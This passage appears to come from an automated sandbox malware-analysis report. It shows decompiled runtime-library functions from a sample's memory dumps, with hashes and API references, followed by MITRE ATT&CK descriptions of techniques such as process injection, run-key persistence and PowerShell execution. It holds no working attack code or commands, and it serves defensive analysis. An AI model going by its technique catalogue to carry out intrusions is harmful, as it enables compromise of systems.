					_t21 = E0040F644(0);
					if( *0x458060 != 0) {
						goto L8;
					} else {
						return _t21 | 0xffffffff;
					}
				}
			}

0x004096ee
0x004096f6
0x004096f9
0x00409702
0x00409704
0x00409706
0x00000000
0x00409706
0x004096fb
0x004096fb
0x00409708
0x00409708
0x00409708
0x00409717
0x0040971c
0x0040972b
0x00409758
0x00409759
0x00409759
0x0040975b
0x00409760
0x00409767
0x0040976b
0x00409770
0x0040977a
0x0040978c
0x00409790
0x00409793
0x0040979e
0x0040979e
0x00409795
0x00409795
0x00409798
0x00000000
0x0040979a
0x0040979a
0x0040979c
0x00000000
0x00000000
0x0040979c
0x00409798
0x004097a5
0x004097a8
0x004097a9
0x004097a9
0x004097b2
0x004097b5
0x0040972d
0x00409730
0x0040973d
0x00409742
0x00409751
0x00000000
0x00409753
0x00409757
0x00409757
0x00409751

APIs

_free.LIBCMT ref: 0040971C
_free.LIBCMT ref: 00409742

Strings

A, xrefs: 004097A9

Memory Dump Source

Source File: 00000001.00000002.259896654.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.259896654.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.259896654.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_11.jbxd

Yara matches

Similarity

API ID: _free
String ID: A
API String ID: 269201875-2078354741
Opcode ID: 5b03ce8b79444dd3e9ec8d146b2e28c902aa1af4604d03d3cf792894e9fb5dba
Instruction ID: cf99aed4ba8ebe79a0d1df891b35360d7efa3c44c18679d4e0e3645cd12d58ac
Opcode Fuzzy Hash: 5b03ce8b79444dd3e9ec8d146b2e28c902aa1af4604d03d3cf792894e9fb5dba
Instruction Fuzzy Hash: 8311B472A50310DAD720AF29AC45B5A3394A751B35F15063BF510FB2E3DF78DC468789

Uniqueness

Uniqueness Score: -1.00%

Function 00404A89 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 91%

			E00404A89(void* __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v808;
				int _t10;
				intOrPtr _t15;
				signed int _t16;
				signed int _t18;
				signed int _t20;
				intOrPtr _t23;
				intOrPtr _t24;
				intOrPtr _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr _t28;
				intOrPtr _t29;
				intOrPtr* _t31;
				intOrPtr* _t33;
				void* _t36;

				_t29 = __esi;
				_t28 = __edi;
				_t27 = __edx;
				_t24 = __ecx;
				_t23 = __ebx;
				_t36 = _t24 -  *0x42c014; // 0xee6350c6
				if(_t36 != 0) {
					_t31 = _t33;
					_t10 = IsProcessorFeaturePresent(0x17);
					if(_t10 != 0) {
						_t24 = 2;
						asm("int 0x29");
					}
					 *0x457c38 = _t10;
					 *0x457c34 = _t24;
					 *0x457c30 = _t27;
					 *0x457c2c = _t23;
					 *0x457c28 = _t29;
					 *0x457c24 = _t28;
					 *0x457c50 = ss;
					 *0x457c44 = cs;
					 *0x457c20 = ds;
					 *0x457c1c = es;
					 *0x457c18 = fs;
					 *0x457c14 = gs;
					asm("pushfd");
					_pop( *0x457c48);
					 *0x457c3c =  *_t31;
					 *0x457c40 = _v0;
					 *0x457c4c =  &_a4;
					 *0x457b88 = 0x10001;
					_t15 =  *0x457c40; // 0x0
					 *0x457b44 = _t15;
					 *0x457b38 = 0xc0000409;
					 *0x457b3c = 1;
					 *0x457b48 = 1;
					_t16 = 4;
					 *((intOrPtr*)(0x457b4c + _t16 * 0)) = 2;
					_t18 = 4;
					_t25 =  *0x42c014; // 0xee6350c6
					 *((intOrPtr*)(_t31 + _t18 * 0 - 8)) = _t25;
					_t20 = 4;
					_t26 =  *0x42c010; // 0x119caf39
					 *((intOrPtr*)(_t31 + (_t20 << 0) - 8)) = _t26;
					return E00405215("8{E");
				} else {
					return __eax;
				}
			}

0x00404a89
0x00404a89
0x00404a89
0x00404a89
0x00404a89
0x00404a89
0x00404a8f
0x0040523e
0x00405248
0x00405250
0x00405254
0x00405255
0x00405255
0x00405257
0x0040525c
0x00405262
0x00405268
0x0040526e
0x00405274
0x0040527a
0x00405281
0x00405288
0x0040528f
0x00405296
0x0040529d
0x004052a4
0x004052a5
0x004052ae
0x004052b6
0x004052be
0x004052c9
0x004052d3
0x004052d8
0x004052dd
0x004052e7
0x004052f1
0x004052fd
0x00405301
0x0040530d
0x00405311
0x00405317
0x0040531d
0x00405321
0x00405327
0x00405336
0x00404a91
0x00404a91
0x00404a91

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00405248
___raise_securityfailure.LIBCMT ref: 00405330

Strings

8{E, xrefs: 0040532B

Memory Dump Source

Source File: 00000001.00000002.259896654.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.259896654.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.259896654.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_11.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: 8{E
API String ID: 3761405300-524580888
Opcode ID: 3634a9e4741f4bfeb64781d87a6ed239010d2fc13d7b81858e17eb9ae93cf87e
Instruction ID: f2f568aa9fd9fddbdee69db2889902ae980e8199eeab0b151c5dc3b8827854f8
Opcode Fuzzy Hash: 3634a9e4741f4bfeb64781d87a6ed239010d2fc13d7b81858e17eb9ae93cf87e
Instruction Fuzzy Hash: BE2114B4688304DAD326CF59FD817447BE5FB08356F2054BAEA04873A2EBB495818F4D

Uniqueness

Uniqueness Score: -1.00%

Function 00402E19 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 34%

			E00402E19(void* __ecx, void* __esi, intOrPtr _a4) {
				intOrPtr* _v8;
				char _v12;
				intOrPtr* _t18;
				intOrPtr* _t21;
				intOrPtr _t25;
				signed int _t37;

				_push(__ecx);
				_push(__ecx);
				_t25 = _a4;
				E00402A53( &_v12, 0);
				_t37 =  *(_t25 + 0xc);
				if(_t37 == 0) {
					L7:
					E004090EB( *((intOrPtr*)(_t25 + 8)));
					return E00402AAB( &_v12);
				}
				do {
					_t37 = _t37 - 1;
					_t18 =  *((intOrPtr*)( *((intOrPtr*)(_t25 + 8)) + _t37 * 4));
					_v8 = _t18;
					if(_t18 != 0) {
						 *0x41d130();
						_t21 =  *((intOrPtr*)( *((intOrPtr*)( *_t18 + 8))))();
						_v8 = _t21;
						if(_t21 != 0) {
							 *0x41d130(1);
							 *((intOrPtr*)( *((intOrPtr*)( *_t21))))();
						}
					}
				} while (_t37 != 0);
				goto L7;
			}

0x00402e1c
0x00402e1d
0x00402e1f
0x00402e28
0x00402e2d
0x00402e32
0x00402e74
0x00402e77
0x00402e88
0x00402e88
0x00402e35
0x00402e38
0x00402e39
0x00402e3c
0x00402e41
0x00402e4a
0x00402e53
0x00402e55
0x00402e5a
0x00402e64
0x00402e6d
0x00402e6d
0x00402e5a
0x00402e6f
0x00000000

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00402E28
std::_Lockit::~_Lockit.LIBCPMT ref: 00402E80

Strings

Z7@, xrefs: 00402E4A, 00402E64

Memory Dump Source

Source File: 00000001.00000002.259896654.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.259896654.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.259896654.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_11.jbxd

Yara matches

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID: Z7@
API String ID: 593203224-2024903632
Opcode ID: c83d82602a0c238f169b67e349a0b179b4382f749e1b793efb8415bafc8fa757
Instruction ID: 48ddc5f865ca086dd6f5a176550b0276c9203ff30bfc3bf863bd1b53c7c9c229
Opcode Fuzzy Hash: c83d82602a0c238f169b67e349a0b179b4382f749e1b793efb8415bafc8fa757
Instruction Fuzzy Hash: 3A019E31A00115AFCB04EF65C949E9E77B5EF84754F0440AAE805AB3E1DFB0EE41CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 02703280 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0270328F
std::_Lockit::~_Lockit.LIBCPMT ref: 027032E7

Strings

Z7@, xrefs: 027032B1, 027032CB

Memory Dump Source

Source File: 00000001.00000002.260434500.0000000002700000.00000040.00001000.00020000.00000000.sdmp, Offset: 02700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2700000_11.jbxd

Yara matches

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID: Z7@
API String ID: 593203224-2024903632
Opcode ID: 1479b906166878ceb7c1cd83cfb70ea6c62a49ebcc8fc4c6d9a89bb79aa04e89
Instruction ID: ffca80f9b7c92e1bf6ed0fa6235768656bdb045770fee73f77de2a1365156c3f
Opcode Fuzzy Hash: 1479b906166878ceb7c1cd83cfb70ea6c62a49ebcc8fc4c6d9a89bb79aa04e89
Instruction Fuzzy Hash: 6F015E36600215EFCB05DF59C998E9E77B5FF88710B1440A9D9059B3A1DB70EE44CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00405343 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 88%

			E00405343(intOrPtr __ebx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v800;
				int _t7;
				intOrPtr _t12;
				signed int _t13;
				intOrPtr _t16;
				char _t17;
				intOrPtr _t19;
				intOrPtr _t20;
				intOrPtr _t21;
				intOrPtr* _t22;

				_t21 = __esi;
				_t20 = __edi;
				_t19 = __edx;
				_t16 = __ebx;
				_t7 = IsProcessorFeaturePresent(0x17);
				if(_t7 != 0) {
					_t17 = _a4;
					asm("int 0x29");
				}
				 *0x457c38 = _t7;
				 *0x457c34 = _t17;
				 *0x457c30 = _t19;
				 *0x457c2c = _t16;
				 *0x457c28 = _t21;
				 *0x457c24 = _t20;
				 *0x457c50 = ss;
				 *0x457c44 = cs;
				 *0x457c20 = ds;
				 *0x457c1c = es;
				 *0x457c18 = fs;
				 *0x457c14 = gs;
				asm("pushfd");
				_pop( *0x457c48);
				 *0x457c3c =  *_t22;
				 *0x457c40 = _v0;
				 *0x457c4c =  &_a4;
				_t12 =  *0x457c40; // 0x0
				 *0x457b44 = _t12;
				 *0x457b38 = 0xc0000409;
				 *0x457b3c = 1;
				 *0x457b48 = 1;
				_t13 = 4;
				 *((intOrPtr*)(0x457b4c + _t13 * 0)) = _a4;
				return E00405215("8{E");
			}

0x00405343
0x00405343
0x00405343
0x00405343
0x0040534e
0x00405356
0x00405358
0x0040535b
0x0040535b
0x0040535d
0x00405362
0x00405368
0x0040536e
0x00405374
0x0040537a
0x00405380
0x00405387
0x0040538e
0x00405395
0x0040539c
0x004053a3
0x004053aa
0x004053ab
0x004053b4
0x004053bc
0x004053c4
0x004053cf
0x004053d4
0x004053d9
0x004053e3
0x004053ed
0x004053f9
0x00405400
0x00405411

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0040534E
___raise_securityfailure.LIBCMT ref: 0040540B

Strings

8{E, xrefs: 00405406

Memory Dump Source

Source File: 00000001.00000002.259896654.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.259896654.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.259896654.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_11.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: 8{E
API String ID: 3761405300-524580888
Opcode ID: f9a91d3964e7fa14d1511d1c3155d578a71491bc4a670795d8b73f918ff33c31
Instruction ID: 012d0cdef657cab8a9d10fd070470a5eabf8d1d0d82772dd80f0d86b89fabf6b
Opcode Fuzzy Hash: f9a91d3964e7fa14d1511d1c3155d578a71491bc4a670795d8b73f918ff33c31
Instruction Fuzzy Hash: 0F11E6B4558304DBC726DF29FD816447BF5BB08356B1064BAE908873A2EB70D681CF8D

Uniqueness

Uniqueness Score: -1.00%

Function 0040257C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E0040257C(void* __ebx, intOrPtr __ecx, void* __edi, void* __esi, void* __eflags) {
				void* _t38;
				signed int _t40;
				intOrPtr _t42;
				void* _t45;
				void* _t48;
				signed int _t54;

				_t32 = __ebx;
				_push(0x1c);
				E00404E1A(0x41c3e7, __ebx, __edi, __esi);
				_t42 = __ecx;
				 *((intOrPtr*)(_t48 - 0x28)) = __ecx;
				_t44 =  *( *((intOrPtr*)( *((intOrPtr*)(__ecx)) + 4)) + __ecx + 0x38);
				if(_t44 != 0) {
					E00402510(_t48 - 0x20, __ecx);
					if( *((char*)(_t48 - 0x1c)) != 0) {
						 *(_t48 - 0x24) =  *(_t48 - 0x24) & 0x00000000;
						 *(_t48 - 4) =  *(_t48 - 4) & 0x00000000;
						 *((intOrPtr*)( *_t44 + 0x34))();
						_t45 = 4;
						_t40 =  ==  ? _t45 : 0;
						 *(_t48 - 0x24) = _t40;
						 *(_t48 - 4) =  *(_t48 - 4) | 0xffffffff;
						_t38 =  *((intOrPtr*)( *((intOrPtr*)(__ecx)) + 4)) + __ecx;
						_t46 =  !=  ? 0 : _t45;
						_t47 = ( !=  ? 0 : _t45) |  *(_t38 + 0xc);
						_t44 = ( !=  ? 0 : _t45) |  *(_t38 + 0xc) | _t40;
						_t54 = ( !=  ? 0 : _t45) |  *(_t38 + 0xc) | _t40;
						E00401A94(_t38, ( !=  ? 0 : _t45) |  *(_t38 + 0xc) | _t40, 0);
					}
					_t18 = _t48 - 0x20; // 0x457930
					E004024F5(_t32, _t18, _t42, _t54);
				}
				return E00404D6C(_t32, _t42, _t44);
			}

0x0040257c
0x0040257c
0x00402583
0x00402588
0x0040258a
0x00402592
0x00402598
0x004025a2
0x004025ab
0x004025ad
0x004025b1
0x004025b9
0x004025c0
0x004025c4
0x004025c7
0x004025ca
0x0040260e
0x00402617
0x0040261a
0x0040261d
0x0040261d
0x00402620
0x00402620
0x00402625
0x00402628
0x00402628
0x00402634

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 00402583

Strings

0yE, xrefs: 0040259F
0yE, xrefs: 00402625

Memory Dump Source

Source File: 00000001.00000002.259896654.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.259896654.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.259896654.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_11.jbxd

Yara matches

Similarity

API ID: H_prolog3_catch_
String ID: 0yE$0yE
API String ID: 1329019490-2051103557
Opcode ID: 137042497e0832825bf0bc6591ab7344499b16be751b84981d4b3ef19a90935e
Instruction ID: 2f4e307e6ebd86397fc1d58aae741d4c6e21dfab9619a0854d06a94b9a5f326e
Opcode Fuzzy Hash: 137042497e0832825bf0bc6591ab7344499b16be751b84981d4b3ef19a90935e
Instruction Fuzzy Hash: F001C071A01510CFDB14DF69C989BADB3F0BF88324F29816AE111BB2D1CB789D01CB88

Uniqueness

Uniqueness Score: -1.00%

Function 027029E3 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 44COMMON

Download Yara Rule

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 027029EA

Strings

0yE, xrefs: 02702A8C
0yE, xrefs: 02702A06

Memory Dump Source

Source File: 00000001.00000002.260434500.0000000002700000.00000040.00001000.00020000.00000000.sdmp, Offset: 02700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2700000_11.jbxd

Yara matches

Similarity

API ID: H_prolog3_catch_
String ID: 0yE$0yE
API String ID: 1329019490-2051103557
Opcode ID: 4af2a7bad2b18aea949b29e20970f19eb8c7b8e0e7013a10f6ba6524d4e1de1e
Instruction ID: 3b4a7d74437f6937da80be85c4dc907eafce73d1f1489305958532d1a2f68f23
Opcode Fuzzy Hash: 4af2a7bad2b18aea949b29e20970f19eb8c7b8e0e7013a10f6ba6524d4e1de1e
Instruction Fuzzy Hash: 6E018C72E01114DFDB25EB69C888BADB7F1BF88324F698159D811AB2D1CB349D06CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0040FCEA Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 50%

			E0040FCEA(intOrPtr _a4, int _a8, short* _a12, int _a16, short* _a20, int _a24, intOrPtr _a28, intOrPtr _a32, char _a36) {
				intOrPtr* _t22;

				_t22 = E0040F820();
				if(_t22 == 0) {
					return LCMapStringW(E0040FD47(_a4, 0), _a8, _a12, _a16, _a20, _a24);
				}
				_t1 =  &_a36; // 0x412de2
				 *0x41d130(_a4, _a8, _a12, _a16, _a20, _a24, _a28, _a32,  *_t1);
				return  *_t22();
			}

0x0040fcf5
0x0040fcf9
0x00000000
0x0040fd3c
0x0040fcfb
0x0040fd18
0x00000000

APIs

LCMapStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,?,?,00412DE2,?,?,00000000,?,00000000), ref: 0040FD3C

Strings

Z7@, xrefs: 0040FD18
-A, xrefs: 0040FCFB

Memory Dump Source

Source File: 00000001.00000002.259896654.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.259896654.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.259896654.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_11.jbxd

Yara matches

Similarity

API ID: String
String ID: Z7@$-A
API String ID: 2568140703-1437204243
Opcode ID: 26cdee48f2176578140fd468ade6816fbeba2e4feecd2b68618b2290f66fbe2f
Instruction ID: b19288db09b0268c5c5e7d049cc15aff01126a31a2bced9969f51b5eacda5c69
Opcode Fuzzy Hash: 26cdee48f2176578140fd468ade6816fbeba2e4feecd2b68618b2290f66fbe2f
Instruction Fuzzy Hash: 51F07A3240011ABBCF226F91DC05DDE3F66EF48765F058025FA1925160C73AD972AB99

Uniqueness

Uniqueness Score: -1.00%

Function 004015CF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 94%

			E004015CF(void* __ebx, signed int* __ecx, void* __edi, void* __esi, intOrPtr _a4) {
				intOrPtr _v0;
				signed int _t37;
				signed int* _t55;
				signed int* _t70;
				signed int* _t71;

				_t53 = __ecx;
				_t70 = __ecx;
				E00402A53(__ecx, 0);
				__ecx[1] = 0;
				__ecx[2] = 0;
				__ecx[3] = 0;
				__ecx[4] = 0;
				__ecx[5] = 0;
				__ecx[6] = 0;
				__ecx[7] = 0;
				__ecx[8] = 0;
				__ecx[9] = 0;
				__ecx[0xa] = 0;
				__ecx[0xb] = 0;
				__ecx[0xc] = 0;
				if(_v0 == 0) {
					E00402BFD("bad locale name");
					asm("int3");
					_push(_t70);
					_t71 = _t53;
					E00402ED4(_t53, _t71);
					if(_t71[0xb] != 0) {
						E004090EB(_t71[0xb]);
					}
					_t71[0xb] = 0;
					if(_t71[9] != 0) {
						E004090EB(_t71[9]);
					}
					_t71[9] = 0;
					if(_t71[7] != 0) {
						E004090EB(_t71[7]);
					}
					_t71[7] = 0;
					if(_t71[5] != 0) {
						E004090EB(_t71[5]);
					}
					_t71[5] = 0;
					if(_t71[3] != 0) {
						E004090EB(_t71[3]);
					}
					_t71[3] = 0;
					if(_t71[1] != 0) {
						E004090EB(_t71[1]);
					}
					_t71[1] = 0;
					_t55 = _t71;
					_t37 =  *_t55;
					if(_t37 == 0) {
						return E00409428(4);
					} else {
						if(_t37 < 8) {
							return E004045F2(0x457830 + _t37 * 0x18, 0x457830 + _t37 * 0x18);
						}
						return _t37;
					}
				} else {
					E00402E89(__ecx, __ecx, _a4);
					return _t70;
				}
			}

0x004015cf
0x004015d3
0x004015d6
0x004015dd
0x004015e0
0x004015e3
0x004015e6
0x004015e9
0x004015ec
0x004015f0
0x004015f3
0x004015f7
0x004015fa
0x004015fd
0x00401600
0x00401607
0x00401621
0x00401626
0x00401627
0x00401628
0x0040162c
0x00401636
0x0040163b
0x00401640
0x00401643
0x00401649
0x0040164e
0x00401653
0x00401654
0x0040165a
0x0040165f
0x00401664
0x00401665
0x0040166b
0x00401670
0x00401675
0x00401676
0x0040167c
0x00401681
0x00401686
0x00401687
0x0040168d
0x00401692
0x00401697
0x00401698
0x0040169b
0x00402aab
0x00402aaf
0x00409455
0x00402ab5
0x00402ab8
0x00000000
0x00402ac8
0x00402ac9
0x00402ac9
0x00401609
0x0040160e
0x00401619
0x00401619

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 004015D6
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0040160E

Part of subcall function 00402E89: _Yarn.LIBCPMT ref: 00402EA8
Part of subcall function 00402E89: _Yarn.LIBCPMT ref: 00402ECC

Strings

bad locale name, xrefs: 0040161C

Memory Dump Source

Source File: 00000001.00000002.259896654.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.259896654.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.259896654.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_11.jbxd

Yara matches

Similarity

API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1908188788-1405518554
Opcode ID: c7afb61a9834c450930454ef928092c8cb0ed2e3a6e40fd6ca6978d0a04e46db
Instruction ID: 49f8ed40bab1b5920addf37b4e694ea5e0b761f78eb0c041847ed750800ec99d
Opcode Fuzzy Hash: c7afb61a9834c450930454ef928092c8cb0ed2e3a6e40fd6ca6978d0a04e46db
Instruction Fuzzy Hash: 5BF0F971545B509EC3309F6A9581447FBE4BE283103948A2FE1DED3A92D674A404CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 0040FC28 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 26
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E0040FC28(void* __eflags, struct _CRITICAL_SECTION* _a4, long _a8, intOrPtr _a12) {
				intOrPtr* _t11;

				_t11 = E0040F91B(0x12, "InitializeCriticalSectionEx", 0x41fe4c, 0x41fe54);
				if(_t11 == 0) {
					return InitializeCriticalSectionAndSpinCount(_a4, _a8);
				}
				 *0x41d130(_a4, _a8, _a12);
				return  *_t11();
			}

0x0040fc44
0x0040fc4b
0x00000000
0x0040fc68
0x0040fc58
0x00000000

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(?,?), ref: 0040FC68

Strings

Z7@, xrefs: 0040FC58
InitializeCriticalSectionEx, xrefs: 0040FC38

Memory Dump Source

Source File: 00000001.00000002.259896654.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.259896654.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.259896654.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_11.jbxd

Yara matches

Similarity

API ID: CountCriticalInitializeSectionSpin
String ID: InitializeCriticalSectionEx$Z7@
API String ID: 2593887523-1530323806
Opcode ID: 27d796c9d374a3e6d65eabd7673d8d41272a138ecfddd61ebc468ed6f333f1c4
Instruction ID: b472e6947371df1b6ff5d850c9d0d116a89234d34c4890ab8236cec9ce1837ff
Opcode Fuzzy Hash: 27d796c9d374a3e6d65eabd7673d8d41272a138ecfddd61ebc468ed6f333f1c4
Instruction Fuzzy Hash: 47E09235A4421CB7CF212F52DD0AEDE3F16EB44B60F008032FD19651B1C6768966A688

Uniqueness

Uniqueness Score: -1.00%

Function 0040FAAE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22
memoryCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E0040FAAE(void* __eflags, intOrPtr _a4) {
				intOrPtr* _t7;

				_t7 = E0040F91B(3, "FlsAlloc", 0x41fdc0, 0x41fdc8);
				if(_t7 == 0) {
					return TlsAlloc();
				}
				 *0x41d130(_a4);
				return  *_t7();
			}

0x0040faca
0x0040fad1
0x00000000
0x0040fae2
0x0040fad8
0x00000000

APIs

TlsAlloc.KERNEL32 ref: 0040FAE2

Strings

Z7@, xrefs: 0040FAD8
FlsAlloc, xrefs: 0040FABE

Memory Dump Source

Source File: 00000001.00000002.259896654.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.259896654.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.259896654.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_11.jbxd

Yara matches

Similarity

API ID: Alloc
String ID: FlsAlloc$Z7@
API String ID: 2773662609-1846585475
Opcode ID: 604f089b82fd599eb0c5296533bb908e9d271176a41a5c569c64b4c10e42630c
Instruction ID: 699c83a91a450d4a5375e4cf07e3635b1814dd58a2f1f72dec8c092d57f07a21
Opcode Fuzzy Hash: 604f089b82fd599eb0c5296533bb908e9d271176a41a5c569c64b4c10e42630c
Instruction Fuzzy Hash: 4BE0C271B8022473C62127627C0AFEE7E489B80B71F104037F90E666C0EABD094646DE

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	DLL monitoring, File monitoring, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
